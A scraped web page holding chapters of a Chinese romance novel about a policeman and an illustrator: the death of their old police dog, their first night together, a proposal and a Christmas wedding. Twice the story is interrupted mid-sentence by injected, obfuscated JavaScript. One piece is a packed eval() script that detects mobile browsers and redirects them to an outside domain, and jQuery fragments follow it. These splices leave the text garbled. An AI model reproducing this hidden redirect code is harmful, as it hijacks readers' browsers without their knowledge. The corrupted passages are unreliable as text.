裴鹤宁闭了闭眼,手指捏她脸,没好气地问:“你还想继续?” 江皓月:“也不是不行,吧?” 裴鹤宁没理她,卫生间的门被带上,随后水声传出。 江皓月疑惑:难道他刚才只是洗了头发、没洗澡吗? 她睡不着,在床上滚来滚去、滚来滚去的。 第一次一起住,就算不做点什么,她也想和裴鹤宁一起聊聊天呢! 但是,他怎么还不出来? 她敲了下卫生间的门:“裴鹤宁,你怎么洗澡洗这么久?我都想你啦!” 江皓月谈恋爱的时候很粘人、很甜,但这种粘人和甜,有时候真的很要命。 里面的水声停了一瞬,裴鹤宁的声音不像平时清润,只命令:“回去睡觉。” 江皓月真心实意道:“我想跟你聊会天再睡嘛,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴鹤宁这次在她唇上咬了一下,代替捏她脸颊的手,很轻,像小狗表示友好的力道。 “不准再说了。” 江皓月昨晚看了好多乱七八糟的帖子。 贴子里都说,如果男生喜欢你,会想要和你亲密接触。 她长长的睫毛扑闪:“那你是不想,还是不喜欢我呀?” 他们十六岁认识,很青涩的年纪就在一起了,初恋、初吻都是和对方,她想要和他一起知道怎么变得更亲密。 裴鹤宁在她床边坐下,暖调的光晕染开来,他原本凌厉的侧脸线条变得柔和。 “如果我是家长,我不希望男孩子对我女儿做的事情,就不会让自己对你做。我这样说,你明白吗?” 江皓月眨了眨眼:“明白。” “行,那睡觉吧。” 裴鹤宁刚起身,江皓月就揪住他的衣角:“你喜欢女儿呀?但性别不是我们能决定的。” 重点全偏。 裴鹤宁又坐下,对上江皓月蹙着眉、绷着脸认真思考的模样,心都融化掉。 听懂听不懂的有什么关系,他自己懂、自己不去诱导就可以了。 这么可爱的江皓月,这么真诚的江皓月,就应该被捧在手心,不吃一点苦。 “我只是举例,”他被江皓月缠得一点脾气都没有,放轻的语气温柔好听,“不是喜欢女儿。” “儿子呢?” “没感觉。” 江皓月伸手捏他的脸,鼻梁好高好挺,皮肤真软真好:“丁克?” 裴鹤宁轻声:“我不想你吃苦。” 江皓月没想过这个,只说:“小朋友挺可爱的呢!” 裴鹤宁偏过头吻在她掌心:“不会比你更可爱了。” 但是,怎么就从今天晚上要不要发生点什么,歪到了小朋友可不可爱上面。 甚至,他被她完全带偏。 问题回到最初,他认真回答一开始江皓月提出的问题—— “江皓月,我喜欢你,非常喜欢你。” “我从来没有像喜欢你一样喜欢过别人。” “这个世界上不会有第二个人比我更喜欢你。” 26.第 26 章 原本以为会很难熬的大学四年,竟然也眨眼就过去了。 裴鹤宁放弃以专业第一的优势保研,公安联考省状元的成绩,让他可进入本省范围内任一公安岗位的面试。他只是选择回到本地市局,母亲曾经工作的地方。 当时何嘉豪为他可惜,说你不读研、不去公安部也就算了,为什么一定要回市局呢? 他说,我想我妈了。 在别人踌躇考研、出国、找工作的时候,江皓月回家的心迫切,没有任何摇摆犹豫,就是要抓紧时间毕业回到妈妈爸爸身边。 她没有签工作,也没有必要,大学四年小蘑菇的账号积累了百万粉丝,断断续续也有出版社的编辑联系她,想要帮她出版画册。 自己一笔一笔、从高一开始画的画,就跟自己养了七年的崽崽一样,直到毕业这年,江皓月才千挑万选、敲定一家,把自己的画稿交了出去。 稿费可观,给了她不用看老板脸色、和同事勾心斗角的底气。她依然是自由自在、无忧无虑的江皓月。 七月初,裴鹤宁入职宣誓,重启妈妈警号。 这是江皓月第一次亲眼见到裴鹤宁穿警服。 十六岁的少年已经长成二十出头的青年,一米八八的身高本就足够优越,肩宽腰细腿长,棱角分明、线条直接的制服将身形优势发挥到极致,整个人看起来像一把刀锋崭新锋利的剑。 那张脸已经彻底褪去青涩,四年的警校生涯让眼神坚定有了杀气,但他冷白皮,皮肤还是嫩得能掐出水,看起来,又是冷若霜雪,又是唇红齿白,正好就是江皓月最吃的那一款。 她揉揉辛巴的脑袋:“辛哥,小裴警官帅不帅?” 辛巴已经十四岁,嘴部的毛全白了。 它已经不能动了,现在正在被多处转移的肿瘤折磨,狗狗不会喊疼,只会忍耐。 它趴在那里看向裴鹤宁,裴鹤宁就在他面前蹲下来,战功累累的功勋犬艰难起身,用自己的鼻尖碰了碰裴鹤宁挂在胸前的警号。 裴鹤宁身上的警服是新的,左边胸口的警号却是旧的,那是他从妈妈的警服上面摘下来的。 裴鹤宁轻声说:“辛哥,你认出来了对不对?” 狗狗不会说话,不会说痛,只是眼睛里似乎有泪。 看向裴鹤宁的眼神,分明是看向自己老战友的崽崽。 那眼神让人心碎。 裴鹤宁轻轻抚摸它的脑袋。 他是不是太过自私,因为太想留下辛巴、留下母亲最后一件遗物,所以对它的病痛视而不见。 他是不是应该,不再让辛巴继续疼下去。 是不是即使他再不舍得,也到了该说再见的时候。 那天,许医生在,江教授在,谭将明在。 辛巴在裴鹤宁的怀里,想要摇一摇尾巴都做不到。 那双湿漉漉的眼睛,好像在问:你们怎么都来了? 江皓月看着医生把药物推入辛巴体内,一瞬间泪如雨下。 裴鹤宁安抚着怀里的辛巴,声音很温柔:“和你重逢的时候太高兴了。” 他喜欢的女孩,牵着他心心念念的狗狗,眉眼弯弯出现在他面前。 从那天起,他们一起带狗狗散步,一起陪着狗狗玩,在假期一起带着狗狗自驾去草原海边…… 因为太高兴,所以才会忘记。 忘记在一起的每一天,都是倒计时。 “去找我妈妈,知道吗?” “下辈子不要当警犬,不要受伤,就当一只无忧无虑的小狗吧。” 他最后,低声开口,嗓音发涩:“对不起……” 而他怀里的辛巴已经闭上眼睛,没有了呼吸,没有办法给他任何回应,温热的躯体慢慢冷却。 脑海却浮现,他第一次见到辛巴时,身边是妈妈,眼前是巴掌大的小狗。 一人一狗对上视线,他问妈妈:“我可以把它带回家养吗?” …… 那天晚上,江皓月没有回家,她哭得停不下来。 辛巴最喜欢的玩具在,辛巴的毯子在,辛巴没吃完的狗粮还剩一半,眼泪断了线。 裴鹤宁一直在她旁边抱着、哄着,牵着她的手去卫生间洗脸。 可是要擦干的时候,又是一脸的眼泪。 他无可奈何亲亲她的眼睛:“以后我一定会活得比你久的。” 江皓月额头抵在裴鹤宁怀里不说话,任由他把她的眼泪擦干净,再把她的瓶瓶罐罐给抹一遍。 她哭累了,靠在裴鹤宁的怀里睡着。 半夜,她隐隐约约听到小狗的叫声。 睁开眼睛,哭哑的嗓子下意识喊“辛巴”,才想起辛巴已经不在了。 而身边没有人。 裴鹤宁去哪了? 江皓月起身走出卧室,客厅的阳台亮着小夜灯。 裴鹤宁蹲在辛巴的小窝前,脸埋进手臂里。 那里面已经没有狗狗了,只有狗狗的骨灰。 今天一整天,他一滴眼泪都没掉。 安乐之后,他像往常一样带辛巴回家,之后是火化。 然后安慰自己哭得停不下来的女朋友,哄她吃东西,哄她不要哭,哄她入睡。 直到现在,他才给了自己一点时间。 她以为裴鹤宁永远比她冷静、比她淡定、比她游刃有余、比她像个大人,所以忘记了,辛巴离开,他才是最难过的那一个。 那是妈妈的遗物,离开于他入警之后,在他的决定下被安乐。 江皓月的心都要疼碎了:“裴鹤宁。” 裴鹤宁从臂弯里抬起头,江皓月对上一双哭过的通红的眼睛。 他低声喃喃:“它本来还能吃东西,还能动,说不定它不想走呢?” “江皓月,”他顿了下,嗓音轻得几乎要听不见了,“我是不是做错了?” 江皓月朝他张开手臂,像他无数次做过的那样:“过来,女朋友抱抱。” 裴鹤宁脑袋抵在她的颈窝,一片湿润的冰凉。 “辛巴,是不是已经见到我妈妈了。” 江皓月收紧抱他的手臂:“嗯,它现在已经可以跑可以跳,一点都不疼了……” 眼眶慢慢变得湿润。 等他们都白发苍苍的时候,还是让她活得更久一点吧,不能把爱哭鬼自己留下。 她被好好爱过,余生只靠回忆也可以。但是裴鹤宁没有。 只留他一个人的话,就太可怜了。 - 在他们一起经历第一次恋爱、第一次拥抱、第一次亲吻、第一次一起离开家读大学、第一次一起旅行之后,他们又经历了一起送别相伴七年的伙伴。 伤痛永远不会消失,但是会被时间、被忙碌、被恋人的拥抱和亲吻慢慢抚平。 日历翻到11月。 自从裴鹤宁进了刑侦支队,江皓月就谈上了异地恋,裴鹤宁不是在抓人就是在抓人的路上,他们不住在一起,见面并不是容易的事。 他深夜下班回家她已经在自己家睡下,他可以休息了她又有没画完的画稿,好不容易能一起吃个饭的时候他又被一个电话叫走、说嫌疑人出现了…… 裴鹤宁的生日在周五。 江皓月睡了个很饱的午觉,醒来后烤了蛋糕,拎着去裴鹤宁家。 【对不起,今天又要加班。】 【没关系,我等你回家呦!蘑菇亲亲.jpg】 裴鹤宁到家时,整栋楼只有他家的这一格还亮着灯光。 江皓月抱着抱枕,蜷在沙发角落睡着,她的头发长长了,发丝垂在胸前。 听到声音,她迷迷瞪瞪坐直,看到裴鹤宁的瞬间,脸上就有了软软的笑。 裴鹤宁心软得无可救药,蹲在她面前,轻轻吻她的掌心:“对不起。” 她摸摸他眉眼:“还没过十二点呢!” 她想要抱他,裴鹤宁说:“身上脏,洗干净了再抱。” 他有洁癖,回家第一件事永远是洗衣服、洗自己。 等他换上在家穿的T恤运动裤,江皓月的蛋糕已经端出来。 蜡烛点燃,光亮温馨。 江皓月瞳孔色泽温柔:“小裴警官,生日快乐!” 点缀了草莓的奶油蛋糕,裴鹤宁切下第一块递给江皓月:“辛巴开心了,又能吃奶油蛋糕了。” 话音落下,空气寂静。 两人都下意识看向阳台上的小狗窝。 才意识到辛巴已经离开好久了。 江皓月鼻腔酸涩。 她闭上眼睛,掐指一算:“辛巴现在和阿姨在开满鲜花的地方散步呢,它的关节好啦,身体里的肿瘤也消……” 那个“失”字还没说完,嘴巴就被温热的唇堵住。 气息清冽,是裴鹤宁俯身,她搂住他的脖颈,和他接绵长的吻。 空气里有奶油蛋糕的香甜,和让人脸红心跳的啄吻声。 从餐桌边,到了沙发上,月光如流水,铺了满地。 江皓月跨坐在裴鹤宁的腿上,温柔交换彼此的气息。 面对面的姿势,某些反应无处可藏,裴鹤宁耳根红透,偏开头的时候呼吸很重。 在她又要亲上去的那一刻,他摸摸她的脸,像安抚、像求饶,无可奈何笑道:“下去,让我缓一会儿。” 在他又要像往常一样退开的那一刻,江皓月勾住他的脖颈没有松手。 裴鹤宁天生锋利的眼睛,睫毛浓密,黑而沉,显出让人无法招架的攻击性。 他眼神询问:什么意思。 江皓月今天穿了一条长长的白色连衣裙,浪漫的宫廷风,脖颈后面有漂亮的蝴蝶结系带。 她的脑袋抵在裴鹤宁的怀里,牵着他的手到自己身后,放在轻轻一扯就能打开的蝴蝶结上面。 “你的礼物在这儿,”她很害羞,耳朵红到滴血,“你自己拆。” …… 衣服散落在床边的地毯上。 “你这里,有一颗痣。” 男人带着枪茧的指腹摩挲,触电一般。 他低下头,薄唇厮磨,耳朵红透,声音含混不清:“我第一次看到的时候,就想这样了。” …… 翌日,阳光暖暖落在眼皮上。 江皓月睡得迷迷糊糊,鼻尖是清冽温暖让她眷恋的气息,脑袋无意识往身边人的怀里蹭了蹭。 温温柔柔的吻,落在了她的额头、眼角、脸颊。 她听见一声轻轻的、像悄悄话的:“好喜欢你。” 江皓月搓搓眼睛,睁开,对上一双睫毛浓密的漂亮眼睛。 某些画面猝不及防被触发,在脑袋还混沌的此时此刻,一帧一帧播放—— 男人肩膀宽阔,挡住所有光源,她被吻得透不过气。 他的呼吸也重,喘息克制压抑,薄唇贴着她的耳朵:疼的话告诉我。 夜晚的浴室又亮起灯,他套了条长裤抱她去洗澡。 她困得不行,但还是打起精神摸了一把腹肌,说:小伙子,练得不错呦…… 江皓月用了几秒钟时间分辨,这些荒唐的、不纯情的画面是真的存在过,还是她的梦。 然后在裴鹤宁安静温柔的注视里,缓缓把棉被盖过头顶,不说话了。 才发现,裴鹤宁也有很坏的时候。 以前明明都是他容易害羞她逗他,现在完全反过来了。 他隔着棉被抱她,低低问了句:“我的礼物呢?嗯?” ——你的礼物在这儿,你自己拆。 想到昨天夜里发生了什么,江皓月害羞到无法呼吸:“讨厌你!” “讨厌我?” 盖在脸上的棉被被修长白皙的手指勾下。 裴鹤宁轻笑着低头,吻过她的额头、鼻尖、脸颊,一下一下地啄:“讨厌我,嗯?” 江皓月觉得痒,又躲不开,觉得他好像表示友好的小狗,眼睛里有了亮闪闪的笑:“对,讨厌你,大坏蛋!” “但是大坏蛋很爱你。” 心脏被一只无形的手攥紧,无法跳动。 视线相对,男人漆黑深邃的眼底,似有温柔的湖水。 “江皓月。” “嗯?” 裴鹤宁心无旁骛看着她的眼睛:“我爱你。” - 从那天开始,裴鹤宁家里多了鲜花、多了色彩、多了香气和美食。 天真烂漫的裙子挂在严肃笔挺的警服旁边,亲手烧制的小蘑菇水杯放在小鲸鱼水杯旁边,粉色拖鞋和蓝色拖鞋摆在一起整整齐齐,冰箱里的巧克力糖果有人定期补货、永远都不会让人希望落空…… 照片墙上的照片,全部来自江皓月十八岁生日收到的相机,青涩的少年少女慢慢长大,变成警服笔挺的青年和长裙飘飘的女孩子,不变的是,他看向她的眼神始终温柔带着纵容。 二十六岁那年春天,江皓月的画册出版到第三册,销量可观。 她有点懒,又是慢工出细活的性子,并不会因为大家催就急急忙忙画下一册。 中午,她和妈妈爸爸一起吃了午饭,下午睡了个好饱的午觉。 傍晚时分,她出门去接男朋友回家。 下班时间,人断断续续从办公大楼往外走,江皓月的“裴鹤宁探测雷达”没有失效,几乎一眼就锁定了那个穿黑色冲锋衣的警草。 除非有会议或者重大活动,他们刑侦支队平时为了方便抓人、并不穿警服常服。裴鹤宁一身黑,身高腿长,冷淡肃穆的气场很足,不笑的时候美颜凛冽充满攻击性,看着还怪有威慑力。 她还没来得及挥手喊他名字呢,裴鹤宁已经看到她,眼尾轻轻一弯,眉眼间有了笑。 他快步下了楼梯,本来挺稳重挺像大人的了,这下直接朝着她跑过来,身上除了少年感什么都不剩。 路灯并不算明亮,警察叔叔的视力真是令人佩服。 江皓月笑眯眯:“我都没叫你就看到我啦?” 裴鹤宁轻扬眉:“江皓月探测雷达。” 江皓月伸手,被他十指紧扣。 有裴鹤宁的同校师弟打趣:“师兄跟嫂子感情真好啊。” 谁能想到,平时在队里冷着张脸见了局长都不笑的裴鹤宁,看到自家女朋友第一眼眼睛就弯下去了。 裴鹤宁看向同事嘴里的“嫂子”。 江皓月绑着丸子头,卫衣运动裤的舒适装扮。 她在他眼里还是个小姑娘,好像无法跟这两个字联系在一起。 “他怎么叫你师兄呀?” “校友。” “今年刚毕业的?” “对他感兴趣?” 醋味浓重。 江皓月假模假样往小师弟的方向看了眼:“挺帅的哈?” “微信推你?” 江皓月忍着笑吸吸鼻子,疑惑道:“谁家的醋坛子打翻了呀?” 裴鹤宁俯身,清冷嗓音暗含警告:“你再看他一眼,今晚就不要睡觉了。” 江皓月的耳朵尖儿被烫红,又害羞又想笑:“原来是我家大坏蛋的醋坛子打翻了!” “今天做什么了?” “抓人。” 裴鹤宁语气随意得像是去菜市场买了颗白菜,他没说这个“人”不是白菜,也没说今天警车开出市局大门之前他们去枪库领了枪。 “不怕吗?” “不怕,”裴鹤宁语气温和,“妈妈在呢。” 妈妈的警号,在他左边胸口位置,每次执行任务都和他在一起。 他垂眸,睫毛长而柔软:“你呢,今天做什么了?” 江皓月笑着说:“画画没有灵感,所以睡了一个超级饱的午觉,还吃了好吃的。” 裴鹤宁揉揉她脑袋:“真棒。” 江皓月笑得不行,虽然手还是牵着的,但她不动声色躲远了些:“裴鹤宁,你知道你现在像谁吗?” “谁啊。” “我姥爷,”江皓月眉眼弯弯,“我吃饭,我姥爷:真棒;我呼吸,我姥爷:真棒。” 她越躲越远,裴鹤宁手上稍微用了点力气,就把她拉回来,两人重新并肩。 一个叽叽喳喳,一个笑着听。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336616|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路过花店,他们挑了一束鲜花,捧着馥郁香气回家。 晚上又闹到很晚。 即使她并没有“再看一眼”。 江皓月睡得很沉,只记得自己被他抱去卫生间,脑袋抵着他的肩膀让他帮自己洗澡,再往后,就什么都不知道了。 睡得迷迷糊糊,脸颊上有柔软湿润的触感,微微凉,隐隐的薄荷清香。 她睁开眼睛,还是觉得很困,下一刻眼睛就轻轻弯了下去:“怎么还不去上班。” 裴鹤宁隔着棉被抱她,脑袋抵在她的颈窝,声音闷闷的:“不想去。” 那么高冷的一个人,头发很软,扫在自己耳后、脖颈,莫名让人心都融化掉,耍赖的样子,像只撒娇的狗狗。 江皓月红着脸咕哝:“谁让你昨天闹到那么晚……你是不是累到了?” 他埋在她颈窝的脑袋抬起来,深邃漂亮的一双眼睛近在咫尺,那张俊脸每看每叫人心动:“我有没有累到,你知道的。” 从卧室,到浴室,最后是她求饶。 江皓月抿唇:“那你这是做什么……” “充会儿电。” 江皓月笑得不行:“我是充电宝吗?” “是宝宝,不是充电宝。” 裴鹤宁的手指捏上她的脸,力道很轻。 他一本正经说完,自己还有点害羞似的,纯情温柔的模样,可爱死了。 江皓月捧着他的脸,笑着碰碰他的脸颊。 “有电了?” “50%。” 她又亲亲他的嘴唇。 “现在呢?” 裴鹤宁笑着起身:“百分之百了。” - 夏至那天,江皓月参加了出版社的签售活动。 她的账号很简单,除了画画没有其他,这还是她第一次在公共场合露面。 公主头,白色长裙,嘴唇涂了颜色像正甜的樱桃,是很温柔恬静的模样,但她的脸上一有表情,就很元气可爱。 没人能看出,这位在小有名气的画手今早出门前,还在粘着男朋友耍赖—— “裴鹤宁,我紧张,会不会都没有人来呀?” “不会的。” “万一呢?” 男朋友亲亲她的脸:“如果真这样,打电话给我,我们去吃好吃的,然后一起回家。” 有所依仗,就会有底气,江皓月豁出去了。 迎接她的,是人山人海。 这一天是她的二十六岁生日,她收到了很多很多的喜欢、鲜花和赞美—— “我第一次关注‘小蘑菇’的账号还在上初中,现在我都大一啦!” “我喜欢你三年多了!当时还给你留言说想要画册呢!” “终于等到小蘑菇和小鲸鱼的故事出版了!” 握着笔签名的手,一直没有停下,她收到多少喜欢,就想回馈多少真心。 头顶落下阴影,清浅熟悉的薄荷香气拂过鼻尖。 修长而骨节分明的手,把她的画册递到了面前。 那只手,江皓月太熟悉了。 十年前,就是这只手把电话听筒递到她的面前,告诉她:“别哭了,我的时间给你。” 江皓月仰起脸,和白衬衫黑西裤、眉眼清绝的男人对上视线,虽然他戴着浅蓝口罩,但她怎么会不认得这双眼睛,接吻的时候长长的睫毛都能戳到她。 她的心脏砰砰跳,好想问:你今天不上班吗?你怎么在这里? 但是现场人太多,她不好表现出异样,猜测或许裴鹤宁真的怕没有人,来给自己凑数了。 “需要我写什么呢?” 江皓月嘴角弯着,公事公办地问,手翻开画册的扉页。 没等到裴鹤宁开口,目光先定住。 有什么光亮璀璨,闪到她的眼睛。 那是一枚被固定住的戒指。 钻石切割,是鲸鱼的形状。 脑海蓦地浮现,高三时她在他身边自习,趁他睡着在他无名指上画的鲸鱼戒指。 小鲸鱼的样子,尾巴的形状,甚至是头顶的水花都一模一样。 戒指下面,是他清秀锋利的字迹—— “江皓月,和我结婚好不好?” 热意上涌,江皓月的眼睛慢慢湿润。 笔尖落下,她签了这天字数最少的一个签名,只有一个字—— “好。” 曾经有一只独自遨游在深海的小鲸鱼。 他的声音频率和其他鲸鱼不一样,不会被任何鲸鱼听到。 他觉得人生丧失所有意义,每一天都是漫无目的的重复。 后来,非黑即白的世界里,闯进来一个彩色的小画家。 她眉眼弯弯地邀请他:小鲸鱼,以后下雨天我们一起游泳吧。 小画家所过之处,鲜活明亮。 于是一片黑白的世界,被画上了明亮的春,彩色的夏,暖调的秋,和洋溢着烤红薯和糖炒栗子香气的冬。 那只遨游在深海的52赫兹的小鲸鱼,也被听见了所有的喜怒哀乐。 - 秋天来了。 “圣诞节举行婚礼?” 当时江皓月正在画画,裴鹤宁从身后抱过来,她想也没想:“好呀。” 明明在外也是个让人不敢造次的警察叔叔,在家就好像解锁了让人心软的撒娇技能。 环在她腰上的手臂收紧,薄唇游走在她脸颊、颈侧,江皓月觉得很痒:“但为什么是圣诞节呢?你喜欢圣诞节吗?” “高一的时候,你送我的画里,写的是Marry Christmas。” 江皓月眨了眨眼睛,想起来是有这么一回事。 那年圣诞节,裴鹤宁给学姐“送”巧克力,她气呼呼把原本要送给他的苹果送给何嘉豪,还让何嘉豪今天吃一个、明天吃一个。 后来发现,误会一场,于是画了一幅画给他送礼物。 在那幅画里,“Merry Christmas”被她笔误写成了“Marry Christmas”。 没想到,会被他发现、被他记住、被他放在心上。 - 圣诞节飘雪。 江皓月婚纱曳地,美得惊心。 梁蜚请假赶来,笑着把手里的礼物盒子递给她:“新婚礼物。” 江皓月好久没有见她了,想得不行,又是惊喜又是想哭:“我还以为你来不了呢!” 她从小泡在蜜罐里,遇到裴鹤宁之前是,遇到裴鹤宁之后是,眉眼间的天真烂漫完好无损。 “这是书吗?” 梁蜚笑:“你不是说我以后适合写小说吗?” 江皓月不止一次这样对梁蜚说,甚至毕业典礼那天还在讲,以后你要给我签专属To签。 “所以这是……” 梁蜚温柔道:“毕业那天我们不是说好了吗?你当我第一个女主人公。” 江皓月不可置信看向手里的书,书名是《玻璃糖纸》,署名是“仓颉”。 “为什么叫玻璃糖纸呀?” “一个不吃糖的人天天身上带着糖,应该是喜欢正在萌芽。” 江皓月翻开第一页,眼睛瞬间就红了:“你真的给我写To签啦?” “嗯。” 梁蜚写在扉页的“To签”,是—— 【To挚友江皓月:新婚快乐,百年好合。】 看着那行字,江皓月眼眶发热。 她还没来得及问笔名为什么是“仓颉”,已经有人过来提醒:婚礼马上开始。 江皓月拥抱梁蜚:“待会手捧花我扔给你好不好?祝你成为自己的灯塔。” 她知道梁蜚是不婚主义,不会需要“祝你遇到喜欢的人”这样俗气的祝福。 “好。” 婚礼开始了。 十六岁那年的“Marry Christmas”,真的在二十六岁这年成真。 故事到这里,结局圆满。 可是,可是,我是梁蜚。 - 上卷完。